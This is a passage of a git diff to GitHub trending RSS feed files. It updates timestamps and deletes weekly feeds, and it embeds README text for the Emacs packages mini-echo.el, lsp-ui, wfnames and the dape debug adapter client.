<h2>Contents</h2> <ul> <li><a href="https://raw.githubusercontent.com/liuyinz/mini-echo.el/master/#mini-echoel">mini-echo.el</a> <ul> <li><a href="https://raw.githubusercontent.com/liuyinz/mini-echo.el/master/#screenshot">Screenshot</a></li> <li><a href="https://raw.githubusercontent.com/liuyinz/mini-echo.el/master/#install">Install</a> <ul> <li><a href="https://raw.githubusercontent.com/liuyinz/mini-echo.el/master/#dependencies">dependencies</a></li> <li><a href="https://raw.githubusercontent.com/liuyinz/mini-echo.el/master/#package">package</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/liuyinz/mini-echo.el/master/#feature">Feature</a></li> <li><a href="https://raw.githubusercontent.com/liuyinz/mini-echo.el/master/#usage">Usage</a></li> <li><a href="https://raw.githubusercontent.com/liuyinz/mini-echo.el/master/#customization">Customization</a></li> <li><a href="https://raw.githubusercontent.com/liuyinz/mini-echo.el/master/#similar-package">Similar Package</a></li> <li><a href="https://raw.githubusercontent.com/liuyinz/mini-echo.el/master/#todo">Todo</a></li> <li><a href="https://raw.githubusercontent.com/liuyinz/mini-echo.el/master/#faq">FAQ</a></li> </ul> </li> </ul> <!-- markdown-toc end --> <h2>Screenshot</h2> <p><img src="https://raw.githubusercontent.com/liuyinz/mini-echo.el/master/example.gif" alt="example"></p> <h2>Install</h2> <h3>dependencies</h3> <ul> <li>Emacs, version &gt;= 28.1</li> </ul> <h3>package</h3> <ul> <li>Manually</li> </ul> <p>Clone and add to <code>load-path</code>, require the package.</p> <ul> <li>Melpa</li> </ul> <p><strong>Warning: This package isn't available in melpa yet.</strong></p> <p><del>This package is available on [MELPA].</del> Install with <code>M-x package-install</code> <code>RET</code> <code>binky</code> within Emacs.</p> <h2>Feature</h2> <ul> <li>light-weight, very simple structure and no many configs</li> <li>don't use mode-line at all, same experience in terminal</li> <li>port lots of segments from <a href="https://github.com/seagle0128/doom-modeline">doom-modeline</a></li> <li>easy to add new segment with macro</li> </ul> <h2>Usage</h2> <pre><code class="language-elisp">(require 'mini-echo) (mini-echo-mode) </code></pre> <p>There are three ways to adjust mini-echo segments display:</p> <ol> <li><code>mini-echo-default-segments</code>: variable, plist of segments which are default to all major-modes</li> </ol> <pre><code class="language-elisp">;; set default segments of long/short style (setq mini-echo-default-segments '(:long ("major-mode" "buffer-name" "vcs" "buffer-position" "buffer-size" "flymake" "process" "selection-info" "narrow" "macro" "profiler") :short ("buffer-name-short" "buffer-position" "process" "profiler" "selection-info" "narrow" "macro"))) </code></pre> <ol start="2"> <li><code>mini-echo-rules</code>: variable, list of rules which are only take effect in some major mode, the format is as below:</li> </ol> <pre><code class="language-elisp">;; Concell of (SEGMENT . POSITION) is required to adjust the appearence. ;; 0 means hide the segment in major mode if it's displayed by default. ;; non-zero number means the order of segment to be put, it's counted from 1. (setq mini-echo-rules '((emacs-lisp-mode :long (("evil" . 1) ("buffer-size" . 4)) :short (("vcs" . 0))))) </code></pre> <p>Example meaning: when <code>emacs-lisp-mode</code> is enabled, long-style shows "evil" segment in first place, shows "buffer-size" segment in fourth place (right-align). short-style hide "vcs" segment.</p> <ol start="3"> <li><code>mini-echo-toggle</code>: command, show or hide some segment temporarily</li> </ol> <p>Other options are here, see more info please check the file</p> <pre><code class="language-elisp">;; write your own predicate function to switch style (setq mini-echo-short-style-predicate #'your-own-predicate) ;; set separator to concat information (setq mini-echo-separator " ") ;; adjust window-divider-mode appearence (setq mini-echo-window-divider-args '(t 1 1)) ;;; adjust update interval as you wish (setq mini-echo-update-interval 0.3) ;;; adjust the number to avoid truncation or wrap line of minibuffer window (setq mini-echo-right-padding 1) </code></pre> <h2>Customization</h2> <p>Write a segment with <code>mini-echo-define-segment</code>, e.g.</p> <p>keywords format:</p> <ul> <li><code>:fetch</code>: sexp, which runs when mini-echo update by interval.</li> <li><code>:update</code>: sexp, which runs when <code>:hook</code> or <code>:advice</code> is triggered.</li> <li><code>:update-hook</code>: list of hooks which run <code>:update</code> after it called, e.g. update "vcs" status after run <code>find-file-hook</code></li> <li><code>:update-advice</code>: alist of (symbol . how) which runs <code>:update</code> after it called, e.g. update "vcs" status after run <code>vc-refresh-state</code></li> <li><code>:setup</code>: sexp, which runs when the segment is first activated , e.g. load library <code>keycast</code> when activate <code>keycast</code> segment.</li> </ul> <pre><code class="language-elisp">(mini-echo-define-segment "vcs" "Return vcs info of current buffer." :fetch mini-echo--vcs-status :update-hook '(find-file-hook after-save-hook after-revert-hook) :update-advice '((vc-refresh-state . :after)) :update (setq mini-echo--vcs-status (when (and vc-mode buffer-file-name) (let* ((backend (vc-backend buffer-file-name)) (branch (substring vc-mode (+ (if (eq backend 'Hg) 2 3) 2))) (limit mini-echo-vcs-max-length) (face (cl-case (vc-state buffer-file-name backend) (needs-update 'warning) ((removed conflict unregistered) 'error) (t 'success)))) (propertize (concat "@" (if (&gt; (length branch) limit) (concat (substring branch 0 (- limit 3)) "..") branch)) 'face `(:inherit (,face bold))))))) (mini-echo-define-segment "time" "Return current time info." :fetch (propertize display-time-string 'face 'mini-echo-time) :setup (display-time-mode 1)) (mini-echo-define-segment "keycast" "Display keycast info." :update-hook '(post-command-hook) :fetch (keycast--format mini-echo-keycast-format) :update (keycast--update) :setup (require 'keycast)) </code></pre> <p>For more information, please see <a href="https://raw.githubusercontent.com/liuyinz/mini-echo.el/master/mini-echo-segments.el">mini-echo-segments.el</a>.</p> <h2>Similar Package</h2> <ul> <li> <p><a href="https://github.com/tautologyclub/feebleline">feebleline</a></p> </li> <li> <p><a href="https://github.com/kiennq/emacs-mini-modeline">mini-modeline</a></p> </li> <li> <p><a href="https://github.com/manateelazycat/awesome-tray">awesome-tray</a></p> </li> </ul> <h2>Todo</h2> <ul> <li><input type="checkbox" checked disabled> rewrite mini-echo-define-macro</li> <li><input type="checkbox" checked disabled> add minibuffer background to distinguish in terminal</li> <li><input type="checkbox" checked disabled> setup segments per buffer</li> <li><input type="checkbox" disabled> add environment support, such as python, node.js, asdf...</li> <li><input type="checkbox" disabled> add support to highlight current window</li> </ul> <h2>FAQ</h2> <ul> <li> <p>How to distinguish current window ?</p> <p>Highlight current window is still on development, you could set hl-line-mode, or use some dim other window package for now. e.g.</p> <pre><code class="language-elisp">;; or (global-hl-line-mode) (hl-line-mode) ;; Only highliht current buffer in current window (setq hl-line-sticky-flag nil) (setq global-hl-line-sticky-flag nil) </code></pre> </li> <li> <p>How to show window border in terminal?</p> <p>Due to <code>window-divider-mode</code> is not available in terminal, you need to use other measures to identify window. In terminal, internal-border is displayed, so only need to solve horizontal border problem. Enable packages like tabbar or topsy to help highlight horizontal border instead.</p> </li> </ul> + mspellecacy/WindowsEmacs + 2023-10-30T01:27:34Z + tag:github.com,2023-10-30:/mspellecacy/WindowsEmacs + + <p>Copy of my .emacs.d from/for windows.</p><hr> \ No newline at end of file diff --git a/emacs-lisp/weekly/index.xml b/emacs-lisp/weekly/index.xml deleted file mode 100644 index 374d87ea6ad..00000000000 --- a/emacs-lisp/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Emacs Lisp Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:51:39Z - Weekly Trending of Emacs Lisp in GitHub - - - emacs-lsp/lsp-ui - 2023-10-29T01:51:39Z - tag:github.com,2023-10-29:/emacs-lsp/lsp-ui - - <p>UI integrations for lsp-mode</p><hr><h1>lsp-ui</h1> <p><a href="https://melpa.org/#/lsp-ui"><img src="https://melpa.org/packages/lsp-ui-badge.svg?sanitize=true" alt="MELPA"></a> <a href="https://stable.melpa.org/#/lsp-ui"><img src="https://stable.melpa.org/packages/lsp-ui-badge.svg?sanitize=true" alt="MELPA Stable"></a> <a href="https://discord.gg/swuxy5AAgT"><img src="https://discordapp.com/api/guilds/789885435026604033/widget.png?style=shield" alt=""></a> <a href="https://github.com/emacs-lsp/lsp-ui/actions"><img src="https://github.com/emacs-lsp/lsp-ui/workflows/CI/badge.svg?branch=master" alt="Build Status"></a></p> <!-- markdown-toc start - Don't edit this section. Run M-x markdown-toc-refresh-toc --> <p><strong>Table of Contents</strong></p> <ul> <li><a href="https://raw.githubusercontent.com/emacs-lsp/lsp-ui/master/#lsp-ui">lsp-ui</a> <ul> <li><a href="https://raw.githubusercontent.com/emacs-lsp/lsp-ui/master/#intro">Intro</a></li> <li><a href="https://raw.githubusercontent.com/emacs-lsp/lsp-ui/master/#lsp-ui-sideline">lsp-ui-sideline:</a></li> <li><a href="https://raw.githubusercontent.com/emacs-lsp/lsp-ui/master/#lsp-ui-peek">lsp-ui-peek:</a></li> <li><a href="https://raw.githubusercontent.com/emacs-lsp/lsp-ui/master/#lsp-ui-doc">lsp-ui-doc</a></li> <li><a href="https://raw.githubusercontent.com/emacs-lsp/lsp-ui/master/#lsp-ui-imenu">lsp-ui-imenu</a></li> <li><a href="https://raw.githubusercontent.com/emacs-lsp/lsp-ui/master/#contributing">Contributing</a></li> </ul> </li> </ul> <!-- markdown-toc end --> <h2>Intro</h2> <p>This package contains all the higher level UI modules of <code>lsp-mode</code>, like flycheck support and code lenses.</p> <p>By default, <code>lsp-mode</code> automatically activates <code>lsp-ui</code> unless <code>lsp-auto-configure</code> is set to <code>nil</code>.</p> <p>You only have to put <code>(use-package lsp-ui)</code> in your config and the package will work out of the box. (<a href="https://github.com/jwiegley/use-package">use-package</a>)</p> <p>Or use the builtin package manager.</p> <pre><code>M-x package-install [RET] lsp-ui [RET] </code></pre> <h2>lsp-ui-sideline:</h2> <p>Show informations of the symbols on the current line. It also show flycheck diagnostics and LSP code actions <img src="https://raw.githubusercontent.com/emacs-lsp/lsp-ui/master/images/lsp-line.gif" alt="lsp-line"></p> <p>Customization:</p> <ul> <li><code>lsp-ui-sideline-show-diagnostics</code> show diagnostics messages in sideline</li> <li><code>lsp-ui-sideline-show-hover</code> show hover messages in sideline</li> <li><code>lsp-ui-sideline-show-code-actions</code> show code actions in sideline</li> <li><code>lsp-ui-sideline-update-mode</code> When set to 'line' the information will be updated when user changes current line otherwise the information will be updated when user changes current point</li> <li><code>lsp-ui-sideline-delay</code> seconds to wait before showing sideline</li> </ul> <h2>lsp-ui-peek:</h2> <p>Add <a href="https://code.visualstudio.com/docs/editor/editingevolved#_peek">peek</a> feature <img src="https://raw.githubusercontent.com/emacs-lsp/lsp-ui/master/images/lsp-xref.gif" alt="lsp-xref"></p> <p>You may remap <code>xref-find-{definitions,references}</code> (bound to <kbd>M-.</kbd> <kbd>M-?</kbd> by default):</p> <pre><code class="language-elisp">(define-key lsp-ui-mode-map [remap xref-find-definitions] #'lsp-ui-peek-find-definitions) (define-key lsp-ui-mode-map [remap xref-find-references] #'lsp-ui-peek-find-references) </code></pre> <p>There is a window-local jump list dedicated to cross references:</p> <pre><code class="language-elisp">(lsp-ui-peek-jump-backward) (lsp-ui-peek-jump-forward) </code></pre> <p>Other cross references:</p> <pre><code class="language-elisp">(lsp-ui-peek-find-workspace-symbol "pattern 0") ;; If the server supports custom cross references (lsp-ui-peek-find-custom 'base "$cquery/base") </code></pre> <p>Customization:</p> <ul> <li><code>lsp-ui-peek-enable</code> enable ‘lsp-ui-peek’</li> <li><code>lsp-ui-peek-show-directory</code> show the directory of files</li> </ul> <h2>lsp-ui-doc</h2> <p>Show object documentation at point in a child frame. <img src="https://raw.githubusercontent.com/emacs-lsp/lsp-ui/master/images/lsp-ui-doc.gif" alt="lsp-ui-doc"></p> <p>Show documentation in a WebKit widget <img src="https://raw.githubusercontent.com/emacs-lsp/lsp-ui/master/images/lsp-ui-doc-webkit.png" alt="lsp-ui-doc-webkit"></p> <p>Focus into lsp-ui-doc-frame <img src="https://raw.githubusercontent.com/emacs-lsp/lsp-ui/master/images/lsp-ui-doc-focus-frame.gif" alt="lsp-ui-doc-focus-frame"></p> <p>Customization:</p> <ul> <li><code>lsp-ui-doc-enable</code> enable lsp-ui-doc</li> <li><code>lsp-ui-doc-position</code> Where to display the doc</li> <li><code>lsp-ui-doc-delay</code> Number of seconds before showing the doc</li> <li><code>lsp-ui-doc-show-with-cursor</code> When non-nil, move the cursor over a symbol to show the doc</li> <li><code>lsp-ui-doc-show-with-mouse</code> When non-nil, move the mouse pointer over a symbol to show the doc</li> </ul> <h2>lsp-ui-imenu</h2> <p>Show imenu entries.</p> <p><img src="https://raw.githubusercontent.com/emacs-lsp/lsp-ui/master/images/lsp-ui-imenu.png" alt="lsp-ui-doc"></p> <p>Customization:</p> <ul> <li><code>lsp-ui-imenu-kind-position</code> place to show entries kind</li> <li><code>lsp-ui-imenu-buffer-position</code> place to show the buffer window</li> <li><code>lsp-ui-imenu-window-width</code> set window width</li> <li><code>lsp-ui-imenu-window-fix-width</code> when non-nil, the window will not be resizable (eg. unaffected by <code>balance-windows</code>)</li> <li><code>lsp-ui-imenu--custom-mode-line-format</code> mode line format</li> <li><code>lsp-ui-imenu-auto-refresh</code> auto refresh when necessary</li> <li><code>lsp-ui-imenu-refresh-delay</code> delay to refresh imenu</li> </ul> <h2>Contributing</h2> <p>Any kind of help is appreciated. If you want to help us maintaining this package, <a href="https://github.com/emacs-lsp/lsp-ui/issues/332">leave a note</a>.</p> - - - thierryvolpiatto/wfnames - 2023-10-29T01:51:39Z - tag:github.com,2023-10-29:/thierryvolpiatto/wfnames - - <p>Edit filenames like Wdired</p><hr><p>#+TITLE: Wfnames</p> <p>Allows editing filenames.</p> <ul> <li>Features</li> </ul> <p>Allows editing lists of absolute files, this allows editing the directory parts as well.</p> <p>Modified lines are highlighted, maybe in a different color when about to overwrite an existing file.</p> <p>File completion is provided.</p> <p>Not tighted to a directory, allows editing files from various directories.</p> <p>Do not provide edition of permissions and will not.</p> <ul> <li>Motivation</li> </ul> <p>Wdired must be patched to allow editing a list of absolute filenames in Emacs versions before Emacs-29. Also Wdired depends on a default directory which is not relevant and prone to errors when editing absolute filenames that come from various directories. Using this package in Helm allows getting rid of Wdired advices (that have been merged in Emacs-29+).</p> <ul> <li>Install</li> </ul> <p>This package have no user interface, but you can easily use it with [[https://github.com/emacs-helm/helm][Helm]] package by customizing =helm-ff-edit-marked-files-fn= variable. If you are not using [[https://github.com/emacs-helm/helm][Helm]] you will have to define yourself a function that call =wfnames-setup-buffer= with a list of files as argument.</p> <ul> <li>Usage</li> </ul> <p>Once in the Wfnames buffer, edit your filenames and hit =C-c C-c= to save your changes. You have completion on filenames and directories with =TAB= but if you are using [[https://github.com/victorhge/iedit][Iedit]] package and it is in action use =M-TAB=.</p> - - - svaante/dape - 2023-10-29T01:51:39Z - tag:github.com,2023-10-29:/svaante/dape - - <p>Debug Adapter Protocol for Emacs</p><hr><p>#+title: Dape - Debug Adapter Protocol for Emacs #+author: Daniel Pettersson #+property: header-args :results silent #+language: en</p> <p>Dape is an debug adapter client for Emacs.</p> <p>Use <del>dape-configs</del> to set up your debug adapter configurations. To initiate debugging sessions, use the command <del>dape</del>.</p> <p>For complete functionality, activate <del>eldoc-mode</del> in your source buffers and enable <del>repeat-mode</del> for ergonomics.</p> <ul> <li>Features</li> </ul> <ul> <li>Log breakpoints</li> <li>Conditional breakpoints</li> <li>Variable explorer</li> <li>Variable watch</li> <li>Variable hover with <del>eldoc</del></li> <li>REPL</li> <li>Memory viewer with <del>hexl</del></li> <li><del>compile</del> integration</li> <li>Debug adapter configuration ergonomics</li> <li>No dependencies</li> <li>Inline variable hints (experimental)</li> </ul> <p>[[https://raw.githubusercontent.com/svaante/dape/resources/screenshot.png]]</p> <p>[[https://raw.githubusercontent.com/svaante/dape/resources/screenshot_inline.png]]</p> <p>Screenshots taken with [[https://github.com/protesilaos/ef-themes][ef-trio-dark]].</p> <ul> <li>Configuration Currently =Dape= does not come with any debug adapter configuration.</li> </ul> <p>#+begin_src emacs-lisp (use-package dape ;; Currently only on github :straight (dape :type git :host github :repo "svaante/dape") :config ;; Add inline variable hints, this feature is highly experimental ;; (setq dape-inline-variables t)</p> <pre><code>;; To remove info buffer on startup ;; (remove-hook 'dape-on-start-hooks 'dape-info) ;; To remove repl buffer on startup ;; (remove-hook 'dape-on-start-hooks 'dape-repl) ;; By default dape uses gdb keybinding prefix ;; (setq dape-key-prefix "\C-x\C-a") ;; Kill compile buffer on build success ;; (add-hook 'dape-compile-compile-hooks 'kill-buffer) ;; Projectile users ;; (setq dape-cwd-fn 'projectile-project-root) ) </code></pre> <p>#+end_src</p> <ul> <li>Differences with dap-mode [[https://github.com/emacs-lsp/dap-mode][dap-mode]] is the most popular alternative and is of course much more mature and probably more feature rich (have not used <del>dap-mode</del> extensively).</li> </ul> <p>Dape has no dependencies outside of packages included in emacs, and tries to use get as much out of them possible.</p> <p>Dape takes a slightly different approach to configuration.</p> <ul> <li>Dape does not support <del>launch.json</del> files, if per project configuration is needed use <del>dir-locals</del>.</li> <li>Tries to simplify configuration, by having just a plist.</li> <li>Dape tries to improve config ergonomics in <del>dape</del> completing-read by using options to change/add plist entries in an already existing config, example: <del>adapter-config :program "/home/user/b.out" compile "gcc -g -o b.out main.c"</del>.</li> <li>No magic, no special variables. Instead, functions and variables are resolved before starting a new session.</li> <li>No batteries included. Many, suffer from a significant drawback: they're tightly coupled with the vscode extension they're bundled with. This tight coupling results in launch/attach requests being specific to each adapter, devoid of reasonable defaults as they are stored within the extension itself, leading to an ever-changing and unstable API. Consequently, attempting to include default configurations for each adapter seems like a losing proposition.</li> <li>Tries to be envision to how debug adapter configuration would be implemented in emacs if vscode never existed.</li> </ul> <ul> <li>Supported debug adapters In theory all debug adapters should be compatible with =Dape=.</li> </ul> <p>** Javascript - vscode-js-debug To install <del>vscode-js-debug</del> pull down the [[https://github.com/microsoft/vscode-js-debug][repo]]. #+begin_src sh npm install npx gulp dapDebugServer #+end_src</p> <p>Example launch configuration for <del>node</del>. #+begin_src emacs-lisp (add-to-list 'dape-configs `(vscode-js-node modes (js-mode js-ts-mode) host "localhost" port 8123 command "node" command-cwd "path/to/vscode-js-debug/dist/" command-args ("src/dapDebugServer.js" "8123") :type "pwa-node" :request "launch" :cwd dape-cwd-fn :program dape-find-file-buffer-default :outputCapture "console" :sourceMapRenames t :pauseForSourceMap nil :enableContentValidation t :autoAttachChildProcesses t :console "internalConsole" :killBehavior "forceful")) #+end_src</p> <p>For more information see [[https://github.com/microsoft/vscode-js-debug/blob/main/OPTIONS.md][OPTIONS.md]].</p> <p>** Go - delve See [[https://github.com/go-delve/delve/tree/master/Documentation/installation][delve installation]].</p> <p>#+begin_src emacs-lisp (add-to-list 'dape-configs `(delve modes (go-mode go-ts-mode) command "dlv" command-args ("dap" "--listen" "127.0.0.1:55878") command-cwd dape-cwd-fn host "127.0.0.1" port 55878 :type "debug" :request "launch" :cwd dape-cwd-fn :program dape-cwd-fn)) #+end_src</p> <p>For more information see [[https://github.com/go-delve/delve/blob/master/Documentation/usage/dlv_dap.md][documentation]].</p> <p>** C, C++ and Rust Download latest [[https://github.com/vadimcn/codelldb/releases][release]] and unpack <del>vsix</del> file with your favorite unzipper.</p> <p>#+begin_src emacs-lisp (add-to-list 'dape-configs '(codelldb modes (c-mode c-ts-mode c++-mode c++-ts-mode ;; Uncomment the following if you use rust-mode ;; rust-mode rust-ts-mode ) ;; Replace vadimcn.vscode-lldb with the vsix directory you just extracted command "path/to/vadimcn.vscode-lldb/adapter/codelldb" host "localhost" port 5818 command-args ("--port" "5818") :type "lldb" :request "launch" :cwd dape-cwd-fn :program dape-find-file)) #+end_src</p> <p>See [[https://github.com/vadimcn/codelldb/blob/v1.10.0/MANUAL.md][manual]] for more information.</p> <p>** C and C++ - cppdbg Download latest [[https://github.com/microsoft/vscode-cpptools/releases][release]] and unpack <del>vsix</del> file with your favorite unzipper. Then <del>chmod +x debugAdapters/bin/OpenDebugAD7</del>.</p> <p>#+begin_src emacs-lisp ;; Replace ms-vscode.cpptools with the vsix directory you just extracted (setq dape-cppdbg-command "path/to/ms-vscode.cpptools/debugAdapters/bin/OpenDebugAD7") (add-to-list 'dape-configs `(cppdbg modes (c-mode c-ts-mode c++-mode c++-ts-mode) command-cwd ,(file-name-directory dape-cppdbg-command) command dape-cppdbg-command :type "cppdbg" :request "launch" :cwd dape-cwd-fn :program dape-find-file :MIMode ,(cond ((executable-find "gdb") "gdb") ((executable-find "lldb") "lldb")))) #+end_src</p> <p>See [[https://code.visualstudio.com/docs/cpp/launch-json-reference][options]].</p> <p>** Python - debugpy Install debugpy with pip <del>pip install debugpy</del></p> <p>#+begin_src emacs-lisp (add-to-list 'dape-configs `(debugpy modes (python-ts-mode python-mode) command "python3" command-args ("-m" "debugpy.adapter") :type "executable" :request "launch" :cwd dape-cwd-fn :program dape-find-file-buffer-default)) #+end_src</p> <p>See [[https://github.com/microsoft/debugpy/wiki/Debug-configuration-settings][options]].</p> <p>** Godot Configure debug adapter port under "Editor" -&gt; "Editor Settings" -&gt; "Debug Adapter".</p> <p>#+begin_src emacs-lisp (add-to-list 'dape-configs '(godot-launch modes (gdscript-mode) host "127.0.0.1" port 6006 :type "server" :request "launch")) #+end_src</p> <p>** Other untested adapters If you find a working configuration for any other debug adapter please submit a PR.</p> <p>See [[https://microsoft.github.io/debug-adapter-protocol/implementors/adapters/][microsofts list]] for other adapters, your mileage will vary.</p> <ul> <li>Roadmap</li> </ul> <ul> <li>More options for indicator placement</li> <li>Improving completion in REPL</li> <li>Usage of "setVariable" inside of <del><em>dape-info</em></del> buffer</li> <li>Improve memory reader with auto reload and write functionality</li> <li>Individual thread controls</li> <li>Variable values displayed in source buffer, this seams to require integration with lsp-mode and eglot</li> </ul> <ul> <li>Bugs and issues Before reporting any issues take a look at <del><em>dape-debug</em></del> buffer with all debug messages enabled. <del>(setq dape--debug-on '(io info error std-server))</del>.</li> </ul> - - \ No newline at end of file diff --git a/emberscript/daily/index.xml b/emberscript/daily/index.xml index b6b5bec6d75..7b16ee2fbf7 100644 --- a/emberscript/daily/index.xml +++ b/emberscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub EmberScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:09Z + 2023-10-30T01:27:31Z Daily Trending of EmberScript in GitHub \ No newline at end of file diff --git a/emberscript/weekly/index.xml b/emberscript/weekly/index.xml deleted file mode 100644 index 36da5e07873..00000000000 --- a/emberscript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub EmberScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:51:35Z - Weekly Trending of EmberScript in GitHub - - \ No newline at end of file diff --git a/eq/daily/index.xml b/eq/daily/index.xml index 148083f38ad..7ff1a4457ad 100644 --- a/eq/daily/index.xml +++ b/eq/daily/index.xml @@ -1,7 +1,7 @@ GitHub EQ Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:21Z + 2023-10-30T01:27:43Z Daily Trending of EQ in GitHub \ No newline at end of file diff --git a/eq/weekly/index.xml b/eq/weekly/index.xml deleted file mode 100644 index 1ca98711534..00000000000 --- a/eq/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub EQ Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:51:54Z - Weekly Trending of EQ in GitHub - - \ No newline at end of file diff --git a/erlang/daily/index.xml b/erlang/daily/index.xml index 90489b7777e..5e1888ea549 100644 --- a/erlang/daily/index.xml +++ b/erlang/daily/index.xml @@ -1,7 +1,7 @@ GitHub Erlang Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:26Z + 2023-10-30T01:27:47Z Daily Trending of Erlang in GitHub \ No newline at end of file diff --git a/erlang/weekly/index.xml b/erlang/weekly/index.xml deleted file mode 100644 index 07b77d3bc43..00000000000 --- a/erlang/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Erlang Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:51:58Z - Weekly Trending of Erlang in GitHub - - \ No newline at end of file diff --git a/euphoria/daily/index.xml b/euphoria/daily/index.xml index 0ece08986de..14c19f58e25 100644 --- a/euphoria/daily/index.xml +++ b/euphoria/daily/index.xml @@ -1,7 +1,7 @@ GitHub Euphoria Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:22Z + 2023-10-30T01:27:45Z Daily Trending of Euphoria in GitHub \ No newline at end of file diff --git a/euphoria/weekly/index.xml b/euphoria/weekly/index.xml deleted file mode 100644 index a9ad91fb27b..00000000000 --- a/euphoria/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Euphoria Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:51:53Z - Weekly Trending of Euphoria in GitHub - - \ No newline at end of file diff --git a/f%23/daily/index.xml b/f%23/daily/index.xml index 853e90ec6e4..a197bc032f1 100644 --- a/f%23/daily/index.xml +++ b/f%23/daily/index.xml @@ -1,7 +1,7 @@ GitHub F# Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:26Z + 2023-10-30T01:27:47Z Daily Trending of F# in GitHub \ No newline at end of file diff --git a/f%23/weekly/index.xml b/f%23/weekly/index.xml deleted file mode 100644 index ff0dc00c81c..00000000000 --- a/f%23/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub F# Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:51:58Z - Weekly Trending of F# in GitHub - - \ No newline at end of file diff --git a/f*/daily/index.xml b/f*/daily/index.xml index 28d302f80d8..82cbf69eab5 100644 --- a/f*/daily/index.xml +++ b/f*/daily/index.xml @@ -1,7 +1,7 @@ GitHub F* Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:31Z + 2023-10-30T01:27:49Z Daily Trending of F* in GitHub \ No newline at end of file diff --git a/f*/weekly/index.xml b/f*/weekly/index.xml deleted file mode 100644 index 2d9e486a519..00000000000 --- a/f*/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub F* Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:02Z - Weekly Trending of F* in GitHub - - \ No newline at end of file diff --git a/factor/daily/index.xml b/factor/daily/index.xml index f5bdf400338..b6676a36db6 100644 --- a/factor/daily/index.xml +++ b/factor/daily/index.xml @@ -1,7 +1,7 @@ GitHub Factor Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:30Z + 2023-10-30T01:27:50Z Daily Trending of Factor in GitHub \ No newline at end of file diff --git a/factor/weekly/index.xml b/factor/weekly/index.xml deleted file mode 100644 index d017bb12ffb..00000000000 --- a/factor/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Factor Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:03Z - Weekly Trending of Factor in GitHub - - \ No newline at end of file diff --git a/fancy/daily/index.xml b/fancy/daily/index.xml index a2658461ce3..3243f75cb47 100644 --- a/fancy/daily/index.xml +++ b/fancy/daily/index.xml @@ -1,7 +1,7 @@ GitHub Fancy Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:29Z + 2023-10-30T01:27:50Z Daily Trending of Fancy in GitHub \ No newline at end of file diff --git a/fancy/weekly/index.xml b/fancy/weekly/index.xml deleted file mode 100644 index 8c0b0873785..00000000000 --- a/fancy/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Fancy Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:51:59Z - Weekly Trending of Fancy in GitHub - - \ No newline at end of file diff --git a/fantom/daily/index.xml b/fantom/daily/index.xml index 1b8f24ceb58..add30639287 100644 --- a/fantom/daily/index.xml +++ b/fantom/daily/index.xml @@ -1,7 +1,7 @@ GitHub Fantom Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:28Z + 2023-10-30T01:27:51Z Daily Trending of Fantom in GitHub \ No newline at end of file diff --git a/fantom/weekly/index.xml b/fantom/weekly/index.xml deleted file mode 100644 index 0af2e2530a6..00000000000 --- a/fantom/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Fantom Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:00Z - Weekly Trending of Fantom in GitHub - - \ No newline at end of file diff --git a/faust/daily/index.xml b/faust/daily/index.xml index fa911f0cd95..9b49a4b452b 100644 --- a/faust/daily/index.xml +++ b/faust/daily/index.xml @@ -1,7 +1,7 @@ GitHub Faust Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:35Z + 2023-10-30T01:27:54Z Daily Trending of Faust in GitHub \ No newline at end of file diff --git a/faust/weekly/index.xml b/faust/weekly/index.xml deleted file mode 100644 index 39cba7734d5..00000000000 --- a/faust/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Faust Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:06Z - Weekly Trending of Faust in GitHub - - \ No newline at end of file diff --git a/fennel/daily/index.xml b/fennel/daily/index.xml index 6fb4e1a3e8d..9e90194e9ae 100644 --- a/fennel/daily/index.xml +++ b/fennel/daily/index.xml @@ -1,7 +1,7 @@ GitHub Fennel Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:32Z + 2023-10-30T01:27:52Z Daily Trending of Fennel in GitHub \ No newline at end of file diff --git a/fennel/weekly/index.xml b/fennel/weekly/index.xml deleted file mode 100644 index 9a85ce196b0..00000000000 --- a/fennel/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Fennel Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 